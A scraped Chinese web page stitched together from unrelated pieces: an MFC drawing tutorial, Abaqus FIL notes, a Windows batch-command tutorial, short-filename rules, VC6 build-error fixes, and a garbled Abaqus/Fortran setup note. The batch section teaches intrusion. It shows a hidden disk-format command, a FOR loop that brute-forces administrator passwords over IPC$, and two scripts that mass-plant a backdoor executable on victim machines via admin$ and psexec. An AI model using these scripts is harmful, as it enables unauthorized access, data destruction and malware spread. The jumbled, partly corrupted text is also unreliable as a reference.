怎样在vc6.0将mfc画图过程中鼠标点击的坐标储存在栈中,并添加ctrl+z的键盘响应实现撤销

简易绘图程序 使用API和MFC_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
评价文档:
26页免费21页免费15页免费7页免费9页免费46页1下载券43页免费9页免费20页免费5页免费
喜欢此文档的还喜欢24页1下载券30页免费
简易绘图程序 使用API和MFC|简​易​绘​图​程​序​的​实​验​报​告​,​分​别​使​用​A​P​I​和​M​F​C​实​现
把文档贴到Blog、BBS或个人站等:
普通尺寸(450*500pix)
较大尺寸(630*500pix)
你可能喜欢gouyue的资源 - 下载频道 - CSDN.NET
下载频道&gouyue的资源
上传者:zgc988&&&&| 上传时间:&&&&| 下载311次
《Visual Basic 2012入门经典(第7版)》中文扫描版
============================================================
原书名:Beginning Visual Basic 2012
原出版社:Wrox
作者:(美)Bryan N
上传者:longtg&&&&| 上传时间:&&&&| 下载751次
Windows 2000 / XP Universal Version 2.93beta Updated on Feb/20/2001
通过驱动支持高速串口,测试在winxp sp2 dell 2400的机器上支持460800没有问题。
上驱动是小鬼子写,具体安装步骤请参考压缩包里的英文说明安装文件
上传者:szhourj&&&&| 上传时间:&&&&| 下载160次
C#应用程序开发全程演练——从灵感到实现(源码)!!!!!!!!!!!!!!!!
上传者:u&&&&| 上传时间:&&&&| 下载43次
用MFC做的记事本,包括微软记事本的几乎功能。
上传者:heiky&&&&| 上传时间:&&&&| 下载211次
MOTO XT800+ GPRS 移动上网补丁和设置说明
==========================================
欢迎交流 昌黎丁村
使用motoXT800+的用户在默认情况下是不能使用GPRS上网的,这是因为电信的定制机故意屏蔽了该功
上传者:hznibaoshan&&&&| 上传时间:&&&&| 下载277次
winform最全的60种界面样式\皮肤(经典),非常漂亮
积&&&&&&&&分:153206
上传资源: 2919
下载资源:20
总&&排&&名:第&4&名MFC入门指导
&&&&&& 本文从零讲起,内容简单,旨在帮助MFC零基础的同学快速上手,可以短时间内做出简单的可视化界面。工程环境:Visual C++ 6.0;语言基础:C++。
1.&&&&&&&&怎样创建MFC工程
打开VC6,新建工程,选择MFC AppWizard(exe),点击OK。
& & & & & & & & & & & & & &
图 1 新建MFC工程
&&&&&& 下面选择工程类型,分为三种:单文档、多文档、对话框。我们使用单文档及对话框较多。一般情况下,单文档类处理文字、绘图较多,对话框类更多是通过控件与用户交互,两者亦互通,没有绝对的选择规则。
图 2 选择工程类型
&&&&&& 一路点击Next,直到如图3所示界面,最后一项选择MFC库的连接方式。默认为动态连接,这样做出的可执行文件较小,但发布时需要附带MFC库,或者需要在装有MFC库的机器上运行。也可以选择静态连接,这样的可执行文件较大,但对运行环境没有要求。对于较小的工程,推荐使用静态连接。选择完毕后,直接点击Finish,完成工程创建。
图 3 选择MFC库连接方式
2.&&&&&&&&主函数在哪里
MFC工程不像控制台工程那样,有一个明确的主函数,作为程序的入口。MFC的运行是基于消息响应机制的。形象的说,一个MFC程序运行起来,完成了一系列初始化工作后,就静静的等在那里,等待用户的动作(譬如按下按钮,选择菜单项)。我们不需要追究代码运行的源头,只需要为相应的操作写对应的代码即可。
3.&&&&&&&&在哪里添加自定义变量
首先要了解MFC自动生成了什么。如图4所示,为对话框和单文档自动生成的几个类。对话框中的C***Dlg类以及单文档的C***View类是我们添加代码较多的类,我们要重载的响应函数大多数都在这两个类中,所以可以将自定义变量写成他们的成员变量,既不影响使用的方便性,又保证了良好的封装性。
如果需要建立较复杂的数据结构,如队列、二叉树、链表等,建议单独自定义类,再将头文件添加到Dlg或View类中,声明其对象为成员变量。
图 4 MFC自动生成的类
4.&&&&&&&&变量的初始化在哪里完成
对于单文档类,变量的初始化工作可以放在构造函数C***View::C***View()中;对于对话框类,初始化应在初始化函数BOOL C***Dlg::OnInitDialog()中完成。
5.&&&&&&&&如何添加菜单
以单文档为例,找到Resouce中的Menu文件夹,双击里面的菜单对象,进入菜单编辑界面。双击空白菜单,可以新建母菜单栏,之后可以新建菜单项,注意菜单的ID要起好名字,以免写响应函数时混淆不清。
图 5 编辑菜单栏
图 6 添加菜单项
&&&&&& 点击View-&ClassWizard,或者Ctrl+W(强烈建议大家使用这个快捷键),打开ClassWizard。ClassWizard是VC6集各种强大功能于一身的特色工具,一定要熟练应用。在Message Maps中的Object IDs框内,选中刚刚建立的菜单项,再在Messages框内选中COMMAND,即鼠标点击后的消息响应,点击Add Function,MFC将自动添加这个响应函数,再点击Edit Code,即可跳到函数中编写代码了。
&&&&&& 这里需要注意的是,要选好响应函数所在的类。函数生成到哪个类中都可以顺利运行,但一般我们集中放在View类中,方便共享View类中自定义的成员变量。
图 7 用ClassWizard添加消息响应函数
6.&&&&&&&&如何用简单的对话框做数据输入
首先要创建新的对话框,并设计界面。在Resouce中,右键单击Dialog文件夹,选择InsertDialog,完成新对话框的创建。默认的对话框界面只包含两个按钮,OK和Cancel,保留他们不动。添加一个Edit Box控件,用来接受键盘输入的数据,一个Static Text控件做提示。分别修改两个控件的属性,Static控件只需修改Caption属性,Edit控件建议修改控件ID,方便程序阅读和管理。
图 8 添加控件并修改ID
&&&&&& Ctrl+W打开Class Wizard,会弹出提示是否创建新的类,点击OK,输入类名后再OK,完成对话框类的创建。在Class Wizard中,选择Member Variables选项卡,找到刚刚建立的Edit控件ID,点Add Variable,为控件添加变量。变量添加完毕后,退出ClassWizard。
图 9 为控件添加变量
&&&&&& 建立变量后,Edit控件中输入的数值就与变量建立了连接,但并不是实时更新的,需要手动更新变量。更新通过UpdateData()来完成,默认参数为true,表示将Edit控件中的数值传递给控件的变量,参数为false则相反,用变量修改控件显示的数值。数据的更新可以放在OK按钮响应函数中,双击OK按钮重载OnOK函数,添加代码即可。
void CInputDlg::OnOK()
// TODO: Add extravalidation here
UpdateData();
//更新数据
CDialog::OnOK();
对话框功能设计完成后,剩下的工作就是如何调用并在主调函数中获取键盘输入的数值。首先声明一个对话框类的对象,并通过成员函数DoModal()显示对话框。示意代码如下:
if(dlg.DoModal()==IDOK){
str.Format(&输入的数据是%d&, dlg.m_edit_data);
MessageBox(str);
&&&&&& 这里只举例讲解了Edit控件的使用方法,还有多种控件,使用起来大同小异,可以查阅其他资料自行学习。
7.&&&&&&&&如何画图
建议自定义的绘图代码加入到系统重绘响应函数中,这样保证了系统自动重绘的时候,我们画的图不会被漏掉。单文档类,可以写在OnDraw函数中,对话框类,可以写在OnPaint函数中。下面以对话框为例,举几个简单的例子。
对话框中OnPaint函数,自定义的代码写在原代码的else部分。常用的设备类有CPen、CBrush、CFont等。设备的创建函数往往有多种重载方式供大家选择,根据需要选择一种使用即可。下面给一段示例,绘制一个矩形一条直线以及一段文字。
CPaintDC dc(this); //获取绘图DC
pen.CreatePen(PS_SOLID, 1, RGB(0, 0, 0));
//创建线宽为1,黑色的实线画笔
brush.CreateSolidBrush(RGB(100, 100, 100));
//创建灰色的画刷
font.CreatePointFont(400, &Arial&);
//创建Arial点数为400的字体
dc.SelectObject(&pen);
//将画笔选入设备
dc.SelectObject(&brush);
//将画刷选入设备
dc.SelectObject(&font);
//将字体选入设备
dc.SetBkMode(TRANSPARENT);
//设置字体背景透明
//绘制矩形
dc.Rectangle(50, 50, 400, 200);
//绘制直线
dc.MoveTo(30, 20);
dc.LineTo(420, 230);
dc.TextOut(110, 20, &hello MFC!&);
pen.DeleteObject();
brush.DeleteObject();
font.DeleteObject();
图 10 一个简单的示例
&&&&&& 绘图代码写在OnPaint之后,系统只会在必要的时候调用刷新(比如移动窗口、窗口最小化后再打开等),如果需要手动刷新,可以使用函数Invalidate()进行强制重绘。默认参数为true,系统自动擦除背景后重绘,参数为false时,不会自动擦除背景。如果对刷新速度有较高要求,且不需求擦除背景的时候可以选择false。
8.&&&&&&&&怎样解决高速刷新时屏幕闪烁的问题
上一段中使用Invalidate(false)强制重绘是一种简单的解决办法,省掉了系统擦除并重绘背景的时间。下面再从绘图时间入手,介绍一种非常常用的双缓冲技术。
所谓双缓冲,就是首先在内存中建立一个DC,然后将要绘制的图形先绘制到内存DC中,最后一次性从内存中拷贝出来到当前DC,可以有效的解决闪屏问题。以对话框为例,给出一段参考代码。
CPaintDC dc(this); //获取绘图DC
// 创建内存缓存DC
CDC memDC;
memDC.CreateCompatibleDC(&dc);
CBitmap bufferMemB
GetClientRect(&rect);
bufferMemBitmap.CreateCompatibleBitmap(&dc, rect.Width(),rect.Height());
memDC.SelectObject(&bufferMemBitmap);
CBrush whiteB
whiteBrush.CreateSolidBrush(RGB(255, 255, 255));
memDC.FillRect(CRect(0, 0, rect.Width(), rect.Height()),&whiteBrush);
// 使用memDC做绘图操作
// 将内存缓冲DC拷贝至当前DC
dc.BitBlt(rect.left, rect.top, rect.Width(), rect.Height(),&memDC, 0, 0, SRCCOPY);
bufferMemBitmap.DeleteObject();
memDC.DeleteDC();
9.&&&&&&&&怎样添加鼠标键盘响应
打开ClassWizard,在Messages框中可以找到所有的鼠标键盘消息响应。譬如鼠标移动WM_MOUSEMOVE,左键按下WM_LBUTTONDOWN,键盘按键按下WM_KEYDOWN,键盘字符消息WM_CHAR等,选中要添加的响应,点击Add Function,进入编写代码即可。&&& 举个简单的例子,做一个跟随鼠标运动的空心圆。首先在dlg类头文件中添加成员变量m_mousePos。
CPoint m_mouseP
&&&&&& 添加鼠标移动响应,记录当前鼠标的位置。
void CDlgTestDlg::OnMouseMove(UINT nFlags, CPoint point)
// TODO: Add yourmessage handler code here and/or call default
m_mousePos =
Invalidate(false);
CDialog::OnMouseMove(nFlags,point);
&&&&&& 由于鼠标移动是高速刷新,为避免闪屏,强制重绘不擦除背景,且在OnPaint中使用双缓冲技术,并在绘图部分添加下述代码:
memDC.Ellipse(m_mousePos.x-50,m_mousePos.y-50,m_mousePos.x+50,m_mousePos.y+50);
&&&&&& 这样就做出一个随鼠标移动,半径为50的圆了。
10.&&&&怎样固定频率刷新图像
设定一个定时器,就可以每隔固定时间给出中断,进行对图像数据的更新,达到刷新图像的目的。开启定时器的函数为SetTimer,关闭定时器的函数为KillTimer。定时器消息WM_TIMER需要在ClassWizard中添加响应函数OnTimer。
举个简单的例子,从程序开始运行起,每1s刷新一次图像。
首先在OnInitDialog()函数中开启定时器。
SetTimer(, NULL);
//开启定时器,ID为1001,中断间隔1000ms
&&&&&& 打开ClassWizard,找到消息WM_TIMER,点Add Function,重载响应函数OnTimer。
void CDlgTestDlg::OnTimer(UINT nIDEvent)
// TODO: Add yourmessage handler code here and/or call default
switch(nIDEvent){
case 1001:
//ID为1001的定时器代码部分
//添加图像数据更新代码
//强制重绘
Invalidate(false);
CDialog::OnTimer(nIDEvent);
&&&&&& MFC入门简单,精通难,本文针对零基础的同学,列举了一些非常简单的操作。能够学习并合理运用上述知识点,已经可以做出简单的可视化人机交互界面。作者能力有限,所写不多,更深一步的学习,还需要多借助MSDN、参考书籍、网上资料的帮助。
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:38011次
排名:千里之外
原创:22篇
转载:53篇
(4)(5)(1)(7)(5)(4)(1)(2)(1)(1)(2)(3)(1)(1)(1)(1)(1)(2)(10)(12)(2)(4)(1)(2)(2)-----------------------------------------------------------------------------------------------------
操作系统:windows xp sp2
软件版本:Abaqus 6.8-1,Tecplot.360..0.3116
-----------------------------------------------------------------------------------------------------
基本思路:FIl文件(*.fil)文件可以提供给第三方软件(比如:Tecplot)进行结果显示,他可以作为不同软件之间数
据转换的载体。同时在ABAQUS/Explicit分析生成的SEL文件(*.sel)存储了读者定义的输出结果,只要将其转换成FIL
文件才能为第三方软件识别,然后进行后处理。
FIL文件主要有两种格式:二进制(binary)格式和ASCII码格式,后者格式的FIL文件要比二进制格式文件大得多,默
认情况下总是以二进制格式进行输出的,如果模型比较大,更应该选择二进制格式。
如果读取FIL文件的操作系统和生成此文件的操作系统不一样,则需要将ASCII格式的FIL文件转换为二进制格式,如
过是同样的操作系统,则不需要进行转换。文件格式转换的命令为:
&& & & & & & & & & & & & & abaqus acsfil job=job_name
我们可以通过*FILE FORMAT定义FIL文件的格式,但是需要注意一个INP中只能定义一次,他可以作为模型数据或者历
程数据出现。
如果需要生成FIL文件,需要对INP文件添加的内容见后面示例。可以使用下面关键词进行定义分析结果包含的内容:
*CONTACT FILE
*ENERGY FILE
MODAL FILE
SECTION FILE
*FILE FORMTA,ASCII
*FILE OUTPUT,NUMBER INTERVALS=4,YIME MARKS=YES
*EL FILE,POSITION=INTEGRATION POINTS
*NODE FILE,GLOBAL=YES
-----------------------------------------------------------------------------------------------------
【说明】 计算结束后会在工作目录中生成*.FIL文件,需要注意的是*FILE OUTPU会在计算的时候产生大量的分析数
据,需要合理的使用。例如:我的odb文件是104 MB,但是产生的FIL文件却超过了1个G。不知道什么原因造成的。
-----------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------
上面三张图为tecplot中的操作界面,tecplot是Amtec公司推出的一个功能强大的科学汇图软件。它提供了丰富的 绘图格式,包括x-y曲线图,多种格式的的2-D和3-D面绘图,和3- D体绘图格式。而且软件易学易用,界面友好。 ---------------------------------------------------------------------------------------------------
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
echo [{on|off}] [message]
Sample:echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用& && ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)&
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
echo Usage: monitor.bat ServerIP PortNumber
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:&
Press any key to continue . . .&
@echo off&
copy a:*.* d:\back
echo Please put a new disk into driver A&
rem pause 命令会使程序挂起
goto begin&
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
[Drive:}[Path] FileName&
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
&& & & & & &[/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL]
&& & & & & &[/WAIT] [/B] [command/program]
&& & & & & &[parameters]
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
defrag,mem,end[D,M,E]?
Sample.bat的内容如下:&
@echo off&
choice /c:dme defrag,mem,end&
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem&
if errotlevel 1 goto end&
c:\dos\defrag&
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:&
1、if "参数" == "字符串" 待执行的命令&参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
(注意是两个等号)
如if "%1"=="a" format a:&
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令&
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys&
3、if errorlevel / if not errorlevel 数字 待执行的命令&
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2&
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable。
变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command&
FOR /F ["options"] %variable IN ("string") DO command&
FOR /F ["options"] %variable IN (command) DO command&
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command&
FOR /F ["options"] %variable IN ("string") DO command&
FOR /F ["options"] %variable IN (command) DO command&
filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
~I - 删除任何引号(""),
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成"&&D:\ok.txt ,这样就ko了。
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
rem--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@echo run this batch in dos modle.or just double-click it.
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 &&ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored &&ko.txt
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
------------------------------------------------------------------------------------------------------
Windows 支持的长文件名最多为 255 个字符。Windows 还以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位&Windows 的程序访问这些文件。
-------------------------------------------------------------------------------------------------------
Windows 按以下方式从长文件名生成短文件名:
Windows 删除文件名中的任何无效字符和空格。无效字符包括:. " / \ [ ] : ; = ,
由于短文件名只能包含一个英文句点 (.),因此,Windows 将删除文件名中的其他英文句点,即使文件名中最后一个英文句点后面是有效的非空格字符,也是如此。例如,Windows 从长文件名生成短文件名否则,Windows 将忽略最后一个英文句点,而使用倒数第二个英文句点。例如,Windows 从长文件名生成短文件名
This is a really long filename.123.456.789.txt
Thisis~1.txt
This is a really long filename.123.456.789.
Thisis~1.789
生成短文件名如果需要的话,Windows 将文件名截断为 6 个字符,并在后边附加一个波形符 (~) 和一个数字。例如,创建的每个以"~1"结尾的唯一文件名。复制文件名以"~2"、"~3"等结尾。生成短文件名Windows 将文件扩展名截断为 3 个字符或更短。生成短文件名Windows 将文件名及扩展名中的所有字符转为大写。
【注意】 &如果文件夹或文件名包含空格但少于 8 个字符,则 Windows 仍会创建短文件名。当通过网络访问此类文件或文件夹时,这种情况可能会引起问
题。要解决这个问题,请用有效字符代替空格,例如下划线 (_)。如果执行此操作,则 Windows 不会创建不同的短文件名
例如,"Afile~1.doc"是从"A file.doc"生成的,因为长文件名中包含一个空格。
无法从"A_file.doc"中生成短文件名,因为该文件名中包含的字符少于 8 个并且不包含空格。
短文件名"Alongf~1.txt"是从长文件名"A long filename.txt"生成的,因为长文件名中包含的字符超过 8 个。
例如,"Afile~1.doc"是从"A file.doc"生成的,因为长文件名中包含一个空格。
无法从"A_file.doc"中生成短文件名,因为该文件名中包含的字符少于 8 个并且不包含空格。
短文件名"Alongf~1.txt"是从长文件名"A long filename.txt"生成的,因为长文件名中包含的字符超过 8 个。
无法从"A_file.doc"中生成短文件名,因为该文件名中包含的字符少于 8 个并且不包含空格。
短文件名"Alongf~1.txt"是从长文件名"A long filename.txt"生成的,因为长文件名中包含的字符超过 8 个。
短文件名"Alongf~1.txt"是从长文件名"A long filename.txt"生成的,因为长文件名中包含的字符超过 8 个。
-------------------------------------------------------------------------------------------------
&&& Compiling...
Error spawning cl.exe
-------------------------------------------------------------------------------------------------
可能很多人在安装VC 6.0后有过点击“Compile”或者“Build”后被出现的“Compiling... ,Error
spawning cl.exe”错误提示给郁闷过。很多人的 选择是重装,实际上这个问题很多情况下是由于路径设置的问
题引起的,“CL.exe”是VC使用真正的编译器(编译程序),其路径在“VC根目录\VC98\Bin”下面,你可以到相
应的路径下找到这个应用程序。
因此问题可以按照以下方法解决:打开vc界面 点击VC“TOOLS(工具)”—& “Option(选择)”
—& “Directories(目录)”重新设置“Excutable Fils、Include Files、
Library Files、Source Files”的路径。很多情况可能就一个盘符的不同
(例如你的VC装在C,但是这些路径全部在 D),改过来就OK了。
如果你是按照初始路径安装vc6.0的,路径应为:
executatble files:
C:\Program Files\Microsoft Visual Studio\Common\MSDev98\Bin
C:\Program Files\Microsoft Visual Studio\VC98\BIN
C:\Program Files\Microsoft Visual Studio\Common\TOOLS
C:\Program Files\Microsoft Visual Studio\Common\TOOLS\WINNT
include files:
C:\Program Files\Microsoft Visual Studio\VC98\INCLUDE
C:\Program Files\Microsoft Visual Studio\VC98\MFC\INCLUDE
C:\Program Files\Microsoft Visual Studio\VC98\ATL\INCLUDE
library files:
C:\Program Files\Microsoft Visual Studio\VC98\LIB
C:\Program Files\Microsoft Visual Studio\VC98\MFC\LIB
source files:
C:\Program Files\Microsoft Visual Studio\VC98\MFC\SRC
C:\Program Files\Microsoft Visual Studio\VC98\MFC\INCLUDE
C:\Program Files\Microsoft Visual Studio\VC98\ATL\INCLUDE
C:\Program Files\Microsoft Visual Studio\VC98\CRT\SRC
如果你装在其他盘里,则 仿照其路径变通就行(我就是装在D盘)。
关键是microsoft visual studio\ 后面的东西要相同。
---------------------------------------------------------------------------------------------
&&& Compiling...
Error spawning df.exe
---------------------------------------------------------------------------------------------
此类问题出现的基本原因是由于Tool--&Option--&Directory中的Execute file, include file, source
file及Library file的路径设置出现问题,这方面的问题常常是由于电脑中同时装了VC及Fortran软件引起
的,对于VC的设置问题前面已经讲到,而 Fortran这方面的解决比较简单,只需要在 开始--&程序--&
Compaq Fortran--&Per user setup,运行即可,这样相关的路径便会自动设置完毕。
(作者pearqiqi,来自仿真论文)$ r: a4 q3 Y/ r6 h以下方法适用于Abaqus v6.6 v6.7 v6.8 v6.9
2 e9 k! S8 Z( ?8 s
$ v7 L( ~) L6 U# u6 ~想要在ABAQUS里用子
程序,必须安装Intel Visual
Fortran,而安装Intel Visual Fortran前需要安装Microsoft Visual Studio,做好相关
设置后通过Abaqus Verification测试
子程序以及其他ABAQUS
功能是否能正常使用。7 E" t/ z# u8 x+ j
# w' K/ `- \! O1 q( s0 q8 N子程序通过验 证方法:
; u! R& E3 K6 g# I( |: [- d8 x& V/ p. J: X( |# Q+ \
1:先安装 Microsoft Visual Studio(英文版),然后安装 Intel Visual Fortran(若为64位系统,两个
软件都选择自
